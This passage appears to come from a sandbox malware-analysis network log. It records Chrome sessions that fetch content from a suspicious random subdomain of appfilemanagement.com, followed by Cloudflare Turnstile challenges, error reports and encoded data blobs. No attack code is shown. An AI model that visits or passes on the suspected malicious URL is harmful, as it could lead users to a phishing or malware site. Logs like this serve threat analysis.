botHYY+ITV+DZXd3i4+Nh25ngHBue5KToZ2jn2SDjXd5eq+eramzq3CPmK2Lu7OsubaJt3yzupuWn6aCuam9uKLOoMicjKKOxcvJuqm01q2ut87Qr9Kbv+Hdvd+i7NrBufDexbvL5rDAwK/o9fHV87jH4LrUutQA4/Dw2vLgB+HY1/r73NsH7/Hz5tUXGNP+2BIa7RIQ7hTiJhH39AIcDiEAJQIj7vEHNRgXCDAHJRAIDCEwORovHiD+HjsDOEQ
2025-01-14 19:02:21 UTC	1369	IN	Data Raw: 68 4a 58 54 4d 76 4c 56 4a 4f 52 54 45 31 55 69 52 69 53 31 39 50 4f 7a 6c 4f 53 55 4a 31 64 45 64 45 55 6b 70 33 54 47 5a 6d 61 32 42 50 56 58 45 36 55 6c 64 67 69 55 57 48 67 47 52 48 53 31 70 35 58 32 64 51 59 55 74 31 62 58 65 51 67 6d 64 55 66 56 70 74 62 58 6d 65 6c 6d 47 68 6d 5a 56 32 59 34 64 2f 6c 32 79 4e 6a 71 53 6b 6e 6e 35 38 67 4a 4b 4b 74 6e 47 49 69 59 56 76 72 72 75 57 71 35 4f 74 70 58 36 4f 6c 34 65 65 70 70 32 39 68 4d 71 6f 71 70 32 6e 69 38 48 4a 72 71 4f 6b 79 4b 65 55 31 70 61 2b 72 35 32 75 6e 37 62 61 78 64 61 39 73 4d 4b 70 6f 39 72 48 71 36 7a 72 30 64 75 72 77 64 58 66 73 4d 58 5a 34 37 48 4a 33 64 37 48 7a 65 48 69 7a 4e 48 6c 35 74 48 56 36 66 50 4a 32 65 33 33 7a 74 33 78 2b 39 50 68 39 51 44 4a 35 66 6b 45 45 65 6e 39 43 Data Ascii: hJXTMvLVJORTE1UiRiS19POzlOSUJ1dEdEUkp3TGZma2BPVXE6UldgiUWHgGRHS1p5X2dQYUt1bXeQgmdUfVptbXmelmGhmZV2Y4d/l2yNjqSknn58gJKKtnGIiYVvrruWq5OtpX6Ol4eepp29hMqoqp2ni8HJrqOkyKeU1pa+r52un7baxda9sMKpo9rHq6zr0durwdXfsMXZ47HJ3d7HzeHizNHl5tHV6fPJ2e33zt3x+9Ph9QDJ5fkEEen9C
2025-01-14 19:02:21 UTC	1369	IN	Data Raw: 48 4f 55 46 43 61 54 51 38 54 69 63 35 51 31 6f 75 52 58 52 45 4d 45 56 30 4d 56 68 4a 4d 6b 5a 63 54 54 5a 61 59 46 45 36 64 47 52 56 52 49 68 6f 57 55 6c 69 54 6d 4a 68 68 57 35 68 66 49 43 52 6c 32 46 78 65 6d 36 47 62 70 4e 2f 56 70 39 78 62 4a 64 6b 63 6e 46 67 61 48 6d 63 5a 47 78 39 6f 57 68 77 67 61 5a 73 64 49 57 72 63 48 69 4a 73 48 52 38 6a 62 56 34 67 4a 47 36 67 6f 43 6c 77 35 75 47 6c 34 4b 66 69 71 43 67 6f 34 32 52 78 36 65 53 6f 4c 47 6c 73 61 65 57 79 61 7a 62 30 75 47 34 31 62 44 5a 31 39 4c 64 74 37 36 31 78 65 7a 61 76 72 66 6a 32 71 6a 52 77 4f 43 30 31 65 61 34 2b 38 37 7a 30 2f 66 79 76 4f 48 59 32 51 51 47 39 76 54 32 2f 67 59 44 34 38 33 32 42 38 6f 47 30 41 54 6d 35 75 73 42 39 41 33 61 36 2f 58 71 37 78 62 36 32 50 66 39 41 50 Data Ascii: HOUFCaTQ8Tic5Q1ouRXREMEV0MVhJMkZcTTZaYFE6dGRVRIhoWUliTmJhhW5hfICRl2Fxem6GbpN/Vp9xbJdkcnFgaHmcZGx9oWhwgaZsdIWrcHiJsHR8jbV4gJG6goClw5uGl4KfiqCgo42Rx6eSoLGlsaeWyazb0uG41bDZ19Ldt761xezavrfj2qjRwOC01ea4+87z0/fyvOHY2QQG9vT2/gYD4832B8oG0ATm5usB9A3a6/Xq7xb62Pf9AP
2025-01-14 19:02:21 UTC	1369	IN	Data Raw: 54 56 63 76 50 56 46 62 4a 55 46 56 58 32 78 46 57 57 4e 78 4e 6a 52 34 63 32 46 5a 59 33 6f 39 50 31 5a 55 55 58 65 47 51 6d 4a 73 66 58 78 59 65 32 42 79 6b 6d 31 70 64 70 61 46 63 58 71 61 69 58 6c 2b 6e 6f 32 42 67 71 4b 52 6a 34 53 44 65 4b 4e 34 65 35 2b 66 65 35 2b 71 61 4a 75 41 6f 47 2b 73 67 6e 6d 47 69 37 57 34 64 62 57 30 65 61 4e 31 72 5a 4b 6e 73 4b 69 34 71 36 43 32 78 71 54 47 73 62 2b 6e 73 61 36 53 73 63 2b 54 6b 5a 6e 45 74 35 69 38 30 4e 65 71 73 72 61 63 31 75 48 62 74 38 6e 46 75 61 4b 73 37 4d 6a 77 77 39 7a 62 71 38 36 7a 38 37 4c 70 36 75 54 6d 38 4c 62 4d 36 2f 50 66 41 64 50 33 76 67 67 44 41 67 49 41 31 4d 58 76 79 52 44 39 35 76 45 44 31 66 58 71 45 4f 38 55 48 4e 67 4b 39 50 55 67 32 42 54 6a 4a 42 38 69 42 52 67 6e 4b 51 6b Data Ascii: TVcvPVFbJUFVX2xFWWNxNjR4c2FZY3o9P1ZUUXeGQmJsfXxYe2Bykm1pdpaFcXqaiXl+no2BgqKRj4SDeKN4e5+fe5+qaJuAoG+sgnmGi7W4dbW0eaN1rZKnsKi4q6C2xqTGsb+nsa6Ssc+TkZnEt5i80Neqsrac1uHbt8nFuaKs7Mjww9zbq86z87Lp6uTm8LbM6/PfAdP3vggDAgIA1MXvyRD95vED1fXqEO8UHNgK9PUg2BTjJB8iBRgnKQk
2025-01-14 19:02:21 UTC	1369	IN	Data Raw: 30 39 50 54 47 4a 44 52 47 35 49 62 7a 6c 66 57 48 5a 58 62 46 63 37 58 56 39 6b 52 58 39 5a 56 31 6c 58 53 32 6d 41 52 35 47 42 5a 55 32 56 69 32 75 54 6b 4a 47 52 65 5a 6d 52 66 48 2b 59 6b 34 52 33 63 5a 78 32 69 59 70 39 71 47 5a 2f 6a 49 61 78 69 59 71 79 6b 59 47 7a 75 4b 6d 71 70 5a 61 61 6a 34 36 63 6a 34 2b 51 6d 34 53 41 6d 49 47 46 74 70 53 55 6c 34 79 68 71 5a 6d 76 77 63 71 72 6a 62 48 48 78 39 50 52 75 74 53 73 72 39 47 7a 74 4c 58 57 32 39 4c 57 6e 71 6a 71 34 71 57 6d 72 4e 37 43 77 73 2f 48 30 71 33 48 7a 64 6a 57 79 2f 76 57 32 73 2f 52 33 50 50 74 38 73 54 37 2f 66 33 43 30 65 72 69 32 67 7a 4a 34 64 77 49 33 75 45 4b 34 77 55 55 46 4e 66 57 37 52 58 6d 32 41 72 62 44 51 7a 30 32 78 73 50 39 68 48 2b 42 77 58 31 48 53 30 62 2b 67 72 74 Data Ascii: 09PTGJDRG5IbzlfWHZXbFc7XV9kRX9ZV1lXS2mAR5GBZU2Vi2uTkJGReZmRfH+Yk4R3cZx2iYp9qGZ/jIaxiYqykYGzuKmqpZaaj46cj4+Qm4SAmIGFtpSUl4yhqZmvwcqrjbHHx9PRutSsr9GztLXW29LWnqjq4qWmrN7Cws/H0q3HzdjWy/vW2s/R3PPt8sT7/f3C0eri2gzJ4dwI3uEK4wUUFNfW7RXm2ArbDQz02xsP9hH+BwX1HS0b+grt
2025-01-14 19:02:21 UTC	1369	IN	Data Raw: 78 49 54 56 35 53 64 46 6c 77 57 58 68 4f 50 6e 68 6d 67 59 52 42 67 59 46 70 54 6f 5a 76 63 46 46 39 62 47 35 49 67 48 6c 6a 56 31 69 48 57 5a 65 57 6b 36 46 67 6a 33 5a 32 58 70 57 43 59 71 6d 70 66 48 56 6e 67 36 36 4a 6a 5a 2b 4f 68 36 53 67 75 59 32 5a 6a 4b 79 34 6b 5a 7a 42 6c 59 36 52 74 4c 6d 61 77 63 4f 48 77 6f 65 6c 74 38 79 59 71 61 4b 4f 70 64 4f 6c 76 38 58 4f 72 35 47 31 79 62 58 63 6e 4d 2b 2b 6e 72 4c 6a 74 63 36 64 36 4f 69 35 31 2b 50 72 37 38 69 2f 32 62 44 65 78 73 62 78 39 39 66 56 31 37 54 56 32 37 33 72 32 2b 44 51 75 76 7a 6a 35 74 4c 6c 35 51 66 39 79 51 72 46 35 63 4c 4d 30 4f 50 74 33 66 62 4e 47 75 4c 70 42 77 59 59 44 52 59 56 32 51 54 56 44 76 49 49 45 51 6b 5a 44 42 6f 6a 47 69 55 49 49 43 41 72 42 41 77 67 48 2b 30 57 47 Data Ascii: xITV5SdFlwWXhOPnhmgYRBgYFpToZvcFF9bG5IgHljV1iHWZeWk6Fgj3Z2XpWCYqmpfHVng66JjZ+Oh6SguY2ZjKy4kZzBlY6RtLmawcOHwoelt8yYqaKOpdOlv8XOr5G1ybXcnM++nrLjtc6d6Oi51+Pr78i/2bDexsbx99fV17TV273r2+DQuvzj5tLl5Qf9yQrF5cLM0OPt3fbNGuLpBwYYDRYV2QTVDvIIEQkZDBojGiUIICArBAwgH+0WG
2025-01-14 19:02:21 UTC	1369	IN	Data Raw: 2f 65 6a 39 64 62 34 52 51 59 56 70 47 58 59 74 64 64 33 32 47 5a 30 6c 74 67 57 32 55 56 49 64 32 56 6d 71 62 62 59 5a 56 6f 4b 42 78 6a 35 75 6a 70 34 42 33 6b 57 69 57 66 6e 35 6d 67 34 6d 51 66 35 36 42 6b 57 36 32 73 34 75 74 72 34 52 31 6d 35 4b 33 6c 37 75 41 6e 6e 76 43 6e 63 69 56 6f 70 6d 6a 6a 4d 79 6f 69 71 2b 51 6f 36 61 6d 6a 70 44 47 7a 70 71 61 71 70 61 6f 7a 70 33 51 72 4c 47 75 32 39 53 6e 35 2b 4c 70 79 4e 76 71 70 63 7a 66 37 71 33 51 34 2f 48 67 31 4f 66 31 36 2b 6a 57 2f 64 2f 79 79 66 58 33 37 4f 37 7a 34 74 58 53 43 4d 48 6b 36 4e 76 35 32 50 37 75 41 4e 7a 63 45 51 54 67 30 39 6b 49 35 4e 6a 79 44 4f 6a 63 44 51 44 33 45 53 41 44 46 41 50 39 42 66 6b 71 37 53 55 4a 36 68 6f 64 42 2b 73 4f 4a 7a 54 79 46 43 73 6c 4a 2f 59 79 48 69 Data Ascii: /ej9db4RQYVpGXYtdd32GZ0ltgW2UVId2VmqbbYZVoKBxj5ujp4B3kWiWfn5mg4mQf56BkW62s4utr4R1m5K3l7uAnnvCnciVopmjjMyoiq+Qo6amjpDGzpqaqpaozp3QrLGu29Sn5+LpyNvqpczf7q3Q4/Hg1Of16+jW/d/yyfX37O7z4tXSCMHk6Nv52P7uANzcEQTg09kI5NjyDOjcDQD3ESADFAP9Bfkq7SUJ6hodB+sOJzTyFCslJ/YyHi
2025-01-14 19:02:21 UTC	1369	IN	Data Raw: 63 48 53 46 69 31 56 6c 62 6d 4a 6a 54 46 39 62 59 56 52 69 59 46 42 59 5a 6d 56 55 58 47 32 51 57 47 42 78 6c 56 78 6b 64 5a 70 67 67 58 64 6e 6d 6f 5a 71 67 61 2b 42 6a 32 79 70 71 61 65 6a 68 4b 68 35 6b 59 61 6d 70 71 71 4b 6c 4b 71 54 72 4a 71 42 74 70 47 68 71 72 57 35 6a 49 66 47 7a 34 37 46 77 39 54 47 6c 74 4f 4b 74 62 62 59 75 38 72 59 30 36 6e 55 74 72 6d 39 31 4c 71 36 33 39 58 6a 70 63 79 32 36 37 75 38 34 4b 54 53 78 4c 47 74 79 38 37 5a 32 4e 72 73 74 63 7a 74 76 41 41 45 33 4e 50 69 35 51 44 32 38 2b 4c 6e 33 77 58 67 41 4f 6b 4f 42 51 6e 74 38 2f 59 55 47 51 6f 4c 42 2f 62 57 39 2f 67 4a 45 76 4d 53 47 2f 73 52 41 42 67 59 49 2b 6b 4e 49 4f 6b 67 41 66 44 6f 2f 41 30 4d 39 41 6f 4c 43 7a 6f 4e 47 54 41 71 47 43 45 65 48 2f 6c 47 4d 44 77 Data Ascii: cHSFi1VlbmJjTF9bYVRiYFBYZmVUXG2QWGBxlVxkdZpggXdnmoZqga+Bj2ypqaejhKh5kYampqqKlKqTrJqBtpGhqrW5jIfGz47Fw9TGltOKtbbYu8rY06nUtrm91Lq639Xjpcy267u84KTSxLGty87Z2NrstcztvAAE3NPi5QD28+Ln3wXgAOkOBQnt8/YUGQoLB/bW9/gJEvMSG/sRABgYI+kNIOkgAfDo/A0M9AoLCzoNGTAqGCEeH/lGMDw
2025-01-14 19:02:21 UTC	1369	IN	Data Raw: 6f 56 65 5a 56 43 43 54 34 43 54 5a 5a 68 4c 62 59 70 54 6d 4a 35 56 57 57 70 78 6a 6f 32 66 6c 4a 32 64 64 5a 32 46 68 57 56 33 6e 6f 6d 4d 61 4a 4b 42 69 6d 36 7a 75 49 4f 71 70 71 57 77 75 61 69 62 74 4b 4a 35 78 61 32 37 73 71 57 53 76 4c 75 57 68 4a 6e 44 6d 59 79 74 6f 4b 6e 4e 6f 71 4f 78 30 73 4c 48 78 4c 4b 5a 72 71 76 50 32 4c 32 61 73 72 66 52 6e 72 72 6e 34 4d 58 4c 78 4c 72 62 30 4b 36 7a 77 61 76 42 30 74 53 31 34 75 71 7a 7a 62 72 4c 7a 4d 6e 2b 39 4d 45 44 33 67 6e 42 77 50 54 7a 78 4e 62 4b 42 64 72 52 38 75 4c 65 36 2b 51 51 39 4f 6b 63 39 64 62 72 38 79 45 61 2f 51 54 74 33 41 59 51 35 66 55 4b 46 4f 72 35 44 68 6a 76 2f 52 49 63 35 51 49 57 49 43 30 47 47 69 51 79 39 76 51 35 4e 43 49 61 4a 44 76 39 41 42 63 56 45 6a 68 49 46 69 63 6d Data Ascii: oVeZVCCT4CTZZhLbYpTmJ5VWWpxjo2flJ2ddZ2FhWV3nomMaJKBim6zuIOqpqWwuaibtKJ5xa27sqWSvLuWhJnDmYytoKnNoqOx0sLHxLKZrqvP2L2asrfRnrrn4MXLxLrb0K6zwavB0tS14uqzzbrLzMn+9MED3gnBwPTzxNbKBdrR8uLe6+QQ9Okc9dbr8yEa/QTt3AYQ5fUKFOr5Dhjv/RIc5QIWIC0GGiQy9vQ5NCIaJDv9ABcVEjhIFicm

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.4	49769	104.21.64.1	443	5660	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 19:02:21 UTC	668	OUT	GET /favicon.ico HTTP/1.1 Host: nbgybnlh.appfilemanagement.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://nbgybnlh.appfilemanagement.com/cwVGt/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: PHPSESSID=4ram4cvd5lkalobrc8rdv84osm
2025-01-14 19:02:22 UTC	849	IN	HTTP/1.1 404 Not Found Date: Tue, 14 Jan 2025 19:02:22 GMT Content-Type: text/html; charset=iso-8859-1 Transfer-Encoding: chunked Connection: close Cache-Control: max-age=14400 CF-Cache-Status: MISS Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=dHr48YUKGL%2FPog%2BH0RHplzBt6FCeQeKAM51uaX4DOoWT6n8fM4ct6xanEGQrh70jD7GP6GVoCqOi07ffYrF6OWi15%2BXAxmBaG7rZ2hbvyefXiRuPngZ5diJfyKk7gMoF0PSHKvUp0wBBE%2BPQWSXY2f4%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 901fe143de3ade95-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1520&min_rtt=1462&rtt_var=665&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2856&recv_bytes=1246&delivery_rate=1511387&cwnd=245&unsent_bytes=0&cid=4c75dd9208e0de7e&ts=311&x=0"
2025-01-14 19:02:22 UTC	202	IN	Data Raw: 63 34 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a 0d 0a Data Ascii: c4<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p></body></html>
2025-01-14 19:02:22 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.4	49772	104.18.94.41	443	5660	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 19:02:22 UTC	597	OUT	GET /cdn-cgi/challenge-platform/h/b/flow/ov1/42373058:1736878526:BkU1SksTnjb9f1Ohf5ptrBjTP0MGxxzbJNiX3FkmxeU/901fe1373f1743ff/a4XCpZxnpJeuTbvCQP8NxlnIXQ7CC.zDR9dCLCmKSyA-1736881340-1.1.1.1-E2pSl8fZlpoESrPULOwemRIFisE792xMzoXVSGUXmtP46.VB4hKLkDL7UvSfY4k9 HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-14 19:02:22 UTC	442	IN	HTTP/1.1 400 Bad Request Date: Tue, 14 Jan 2025 19:02:22 GMT Content-Type: application/json Content-Length: 14 Connection: close cache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 cf-chl-out: s3zI956Pp+glWjJA4kqcuu0fAVK0OEj99zBQm3lPAzpSxGbvnQgxpBySqxj+T6AhHMw1iNT8czCK1qP3cSgs2w==$rTyRX6HYafDkNwrGaOzL7Q== Server: cloudflare CF-RAY: 901fe147f9864263-EWR alt-svc: h3=":443"; ma=86400
2025-01-14 19:02:22 UTC	14	IN	Data Raw: 7b 22 65 72 72 22 3a 31 30 30 32 33 30 7d Data Ascii: {"err":100230}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.4	49773	104.18.94.41	443	5660	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 19:02:22 UTC	782	OUT	GET /cdn-cgi/challenge-platform/h/b/i/901fe1373f1743ff/1736881341707/dYySAHbYkO8m8dH HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv/pfgga/0x4AAAAAAA4vgiyaUX32MWhl/auto/fbE/normal/auto/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-14 19:02:23 UTC	200	IN	HTTP/1.1 200 OK Date: Tue, 14 Jan 2025 19:02:22 GMT Content-Type: image/png Content-Length: 61 Connection: close Server: cloudflare CF-RAY: 901fe1496fc84338-EWR alt-svc: h3=":443"; ma=86400
2025-01-14 19:02:23 UTC	61	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 47 00 00 00 3e 08 02 00 00 00 f6 ff 91 41 00 00 00 04 49 44 41 54 00 00 00 01 9d 24 d7 91 00 00 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: PNGIHDRG>AIDAT$IENDB`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.4	49774	35.190.80.1	443	5660	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 19:02:22 UTC	573	OUT	OPTIONS /report/v4?s=dHr48YUKGL%2FPog%2BH0RHplzBt6FCeQeKAM51uaX4DOoWT6n8fM4ct6xanEGQrh70jD7GP6GVoCqOi07ffYrF6OWi15%2BXAxmBaG7rZ2hbvyefXiRuPngZ5diJfyKk7gMoF0PSHKvUp0wBBE%2BPQWSXY2f4%3D HTTP/1.1 Host: a.nel.cloudflare.com Connection: keep-alive Origin: https://nbgybnlh.appfilemanagement.com Access-Control-Request-Method: POST Access-Control-Request-Headers: content-type User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-14 19:02:22 UTC	336	IN	HTTP/1.1 200 OK Content-Length: 0 access-control-max-age: 86400 access-control-allow-methods: OPTIONS, POST access-control-allow-origin: * access-control-allow-headers: content-length, content-type date: Tue, 14 Jan 2025 19:02:22 GMT Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.4	49775	35.190.80.1	443	5660	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 19:02:23 UTC	500	OUT	POST /report/v4?s=dHr48YUKGL%2FPog%2BH0RHplzBt6FCeQeKAM51uaX4DOoWT6n8fM4ct6xanEGQrh70jD7GP6GVoCqOi07ffYrF6OWi15%2BXAxmBaG7rZ2hbvyefXiRuPngZ5diJfyKk7gMoF0PSHKvUp0wBBE%2BPQWSXY2f4%3D HTTP/1.1 Host: a.nel.cloudflare.com Connection: keep-alive Content-Length: 455 Content-Type: application/reports+json User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-14 19:02:23 UTC	455	OUT	Data Raw: 5b 7b 22 61 67 65 22 3a 30 2c 22 62 6f 64 79 22 3a 7b 22 65 6c 61 70 73 65 64 5f 74 69 6d 65 22 3a 31 32 34 38 2c 22 6d 65 74 68 6f 64 22 3a 22 47 45 54 22 2c 22 70 68 61 73 65 22 3a 22 61 70 70 6c 69 63 61 74 69 6f 6e 22 2c 22 70 72 6f 74 6f 63 6f 6c 22 3a 22 68 74 74 70 2f 31 2e 31 22 2c 22 72 65 66 65 72 72 65 72 22 3a 22 68 74 74 70 73 3a 2f 2f 6e 62 67 79 62 6e 6c 68 2e 61 70 70 66 69 6c 65 6d 61 6e 61 67 65 6d 65 6e 74 2e 63 6f 6d 2f 63 77 56 47 74 2f 22 2c 22 73 61 6d 70 6c 69 6e 67 5f 66 72 61 63 74 69 6f 6e 22 3a 31 2e 30 2c 22 73 65 72 76 65 72 5f 69 70 22 3a 22 31 30 34 2e 32 31 2e 36 34 2e 31 22 2c 22 73 74 61 74 75 73 5f 63 6f 64 65 22 3a 34 30 34 2c 22 74 79 70 65 22 3a 22 68 74 74 70 2e 65 72 72 6f 72 22 7d 2c 22 74 79 70 65 22 3a 22 6e 65 Data Ascii: [{"age":0,"body":{"elapsed_time":1248,"method":"GET","phase":"application","protocol":"http/1.1","referrer":"https://nbgybnlh.appfilemanagement.com/cwVGt/","sampling_fraction":1.0,"server_ip":"104.21.64.1","status_code":404,"type":"http.error"},"type":"ne
2025-01-14 19:02:23 UTC	168	IN	HTTP/1.1 200 OK Content-Length: 0 date: Tue, 14 Jan 2025 19:02:23 GMT Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.4	49776	104.18.94.41	443	5660	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 19:02:23 UTC	428	OUT	GET /cdn-cgi/challenge-platform/h/b/i/901fe1373f1743ff/1736881341707/dYySAHbYkO8m8dH HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-14 19:02:23 UTC	200	IN	HTTP/1.1 200 OK Date: Tue, 14 Jan 2025 19:02:23 GMT Content-Type: image/png Content-Length: 61 Connection: close Server: cloudflare CF-RAY: 901fe14d698015a3-EWR alt-svc: h3=":443"; ma=86400
2025-01-14 19:02:23 UTC	61	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 47 00 00 00 3e 08 02 00 00 00 f6 ff 91 41 00 00 00 04 49 44 41 54 00 00 00 01 9d 24 d7 91 00 00 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: PNGIHDRG>AIDAT$IENDB`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.4	49777	104.18.94.41	443	5660	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 19:02:24 UTC	811	OUT	GET /cdn-cgi/challenge-platform/h/b/pat/901fe1373f1743ff/1736881341713/6bc58a56b02d7fcf21d9a5cc560441b4f9324550343864a7d0013110d9af5123/zILf7rT2yfkFuAs HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive Cache-Control: max-age=0 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv/pfgga/0x4AAAAAAA4vgiyaUX32MWhl/auto/fbE/normal/auto/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-14 19:02:24 UTC	143	IN	HTTP/1.1 401 Unauthorized Date: Tue, 14 Jan 2025 19:02:24 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 1 Connection: close
2025-01-14 19:02:24 UTC	2015	IN	Data Raw: 77 77 77 2d 61 75 74 68 65 6e 74 69 63 61 74 65 3a 20 50 72 69 76 61 74 65 54 6f 6b 65 6e 20 63 68 61 6c 6c 65 6e 67 65 3d 22 41 41 49 41 47 58 42 68 64 43 31 70 63 33 4e 31 5a 58 49 75 59 32 78 76 64 57 52 6d 62 47 46 79 5a 53 35 6a 62 32 30 67 61 38 57 4b 56 72 41 74 66 38 38 68 32 61 58 4d 56 67 52 42 74 50 6b 79 52 56 41 30 4f 47 53 6e 30 41 45 78 45 4e 6d 76 55 53 4d 41 47 57 4e 6f 59 57 78 73 5a 57 35 6e 5a 58 4d 75 59 32 78 76 64 57 52 6d 62 47 46 79 5a 53 35 6a 62 32 30 3d 22 2c 20 74 6f 6b 65 6e 2d 6b 65 79 3d 22 4d 49 49 42 55 6a 41 39 42 67 6b 71 68 6b 69 47 39 77 30 42 41 51 6f 77 4d 4b 41 4e 4d 41 73 47 43 57 43 47 53 41 46 6c 41 77 51 43 41 71 45 61 4d 42 67 47 43 53 71 47 53 49 62 33 44 51 45 42 43 44 41 4c 42 67 6c 67 68 6b 67 42 5a 51 4d Data Ascii: www-authenticate: PrivateToken challenge="AAIAGXBhdC1pc3N1ZXIuY2xvdWRmbGFyZS5jb20ga8WKVrAtf88h2aXMVgRBtPkyRVA0OGSn0AExENmvUSMAGWNoYWxsZW5nZXMuY2xvdWRmbGFyZS5jb20=", token-key="MIIBUjA9BgkqhkiG9w0BAQowMKANMAsGCWCGSAFlAwQCAqEaMBgGCSqGSIb3DQEBCDALBglghkgBZQM
2025-01-14 19:02:24 UTC	1	IN	Data Raw: 4a Data Ascii: J

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
